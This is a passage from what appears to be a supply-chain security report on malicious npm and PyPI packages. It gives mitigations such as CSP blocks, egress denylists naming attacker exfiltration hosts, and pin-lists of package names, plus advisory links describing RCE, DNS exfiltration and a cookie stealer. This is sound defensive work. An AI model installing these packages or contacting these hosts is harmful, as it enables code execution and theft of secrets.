blue-string-formatter-utilssxss.report): blockxss.reportat your web CSPscript-src; audit HTML/JS sources for any<script src="https://xss.report/...">reference and reissue session cookies for visitors that hit those pages - For Cluster J (misc quarantines): uninstall on hit and pin the internal-looking names (
@zig-design-system,@woodpecker-web-shared,wos-library,react-context-form) to your private registry - For every
npm installin CI, prefer--ignore-scriptsand enforce it at the runner level (but note it does NOT block Cluster B - the RCE fires onrequire, not on install script). Layer with egress denylists onoob.algamil7x.xyz,ipcheck-hashed.vercel.app,*.oastify.com,xss.report,webhook.site, and unexpected Cloudflare Workers subdomains. Extend the pin-lists from prior sweeps (@nimbusedge*/*,@baanx/*) withhardhat-base,hardhat-core,hardhat-devkit,@uh-platform/*,@uol-afiliados/*,@vite-tab/*,@vitets/*,@vite-pro/*,@vite-mcp/*,@vite-ts/*,@zig-design-system/*,@woodpecker-web-shared/*,wos-library*,react-context-form-*,de-morgan,transform-es2015-unicode-regex,emoji-prints-fancy,math-universe,mathmain,mathsbase,test-react-app-*,blue-string-formatter-utilss,bytepack-probe-*,bnppf-*,radio-player-theme,my-ctf-helper-script-*, and pippullgetsage/starlette-healthchecks
Sources
- GitHub Advisory Database - recent malware advisoriesgithub.com
- MAL-2026-16351 - @baanx/abis (Cluster A - algamil7x DNS-OOB day 5, bxabis prefix)github.com
- MAL-2026-16352 - @baanx/blockchain-config (Cluster A - algamil7x DNS-OOB, bxcfg prefix)github.com
- MAL-2026-16348 - hardhat-base (Cluster B - axios-loader RCE via ipcheck-hashed.vercel.app)github.com
- MAL-2026-3713 - hardhat-core (Cluster B - detached RCE, ipcheck-hashed.vercel.app)github.com
- MAL-2026-16349 - hardhat-devkit (Cluster B - same axios-loader RCE primitive)github.com
- GHSA-g4jv-48fc-mhh2 - @uh-platform/cloud (Cluster C - Burp Collaborator OOB)github.com
- GHSA-xh82-8x4m-9w6c - @uh-platform/domain-widget (Cluster C - Burp Collaborator OOB)github.com
- GHSA-99r3-9hc2-372p - @uh-platform/nadaver2 (Cluster C - Burp Collaborator OOB)github.com
- GHSA-5h99-j25f-5q62 - @uh-platform/webcard (Cluster C - Burp Collaborator OOB)github.com
- GHSA-mh6g-473c-fvhx - @uol-afiliados/affiliated-config-lib (Cluster C - Burp Collaborator DNS+HTTP)github.com
- GHSA-74pv-97c8-9hfp - @vite-tab/tab (Cluster D - batch quarantine)github.com
- GHSA-q5h9-3mvh-45cf - @vite-tab/tabui (Cluster D - batch quarantine)github.com
- GHSA-733v-wc48-f65r - @vitets/vite-ts (Cluster D - batch quarantine)github.com
- GHSA-phpx-wpr2-26pv - @vite-pro/vite-ui (Cluster D - batch quarantine)github.com
- GHSA-mqf9-3wx8-45cj - @vite-mcp/vite-type (Cluster D - batch quarantine)github.com
- GHSA-jm6h-xxm2-2mr3 - @vite-ts/vite-ui (Cluster D - batch quarantine)github.com
- GHSA-wm2w-4m2r-mv73 - test-react-app-in (Cluster E - Aug 4 residual)github.com
- GHSA-vx3p-fwmg-p7g8 - test-react-app-out (Cluster E - Aug 4 residual)github.com
- GHSA-264w-9h55-v637 - test-react-app-way (Cluster E - Aug 4 residual)github.com
- GHSA-2vc2-gwg3-2gpx - de-morgan (Cluster E - Aug 4 residual typosquat)github.com
- GHSA-jcxm-5v55-599q - transform-es2015-unicode-regex (Cluster E - Babel plugin lookalike)github.com
- GHSA-m523-mggx-3fgr - emoji-prints-fancy (Cluster E - Jul 19 residual)github.com
- MAL-2026-16366 - pullgetsage (Cluster G - Telegram tdata stealer, Cloudflare Workers)github.com
- GHSA-4whg-cvj9-8v3f - pullgetsage (Cluster G advisory record)github.com
- MAL-2026-16356 - starlette-healthchecks (Cluster H - typosquat, telemetry probe)github.com
- GHSA-qhgh-m36j-h879 - my-ctf-helper-script-9921 (Cluster H - webhook.site cookie exfil)github.com
- GHSA-pjjj-2389-rwj6 - bytepack-probe-a7x3 (Cluster H - external-tarball SSRF probe)github.com
- GHSA-4g26-86h7-34h3 - blue-string-formatter-utilss (Cluster I - xss.report DOM loader)github.com
- GHSA-rqjq-px4f-2m8r - @zig-design-system/react (Cluster J - misc quarantine)github.com
- GHSA-pg33-6m24-4p63 - react-context-form-tdsss (Cluster J - sentinel dep-confusion)github.com
- jaschadub/compromised-packages-check - Sep 21-22 2026 sweep (PR #136)github.com
- OpenSSF malicious-packages repositorygithub.com
Check your lockfile against this and every other incident.
Paste a lockfile and it is matched on your own device against every compromised version we track. Nothing is uploaded and there is no account.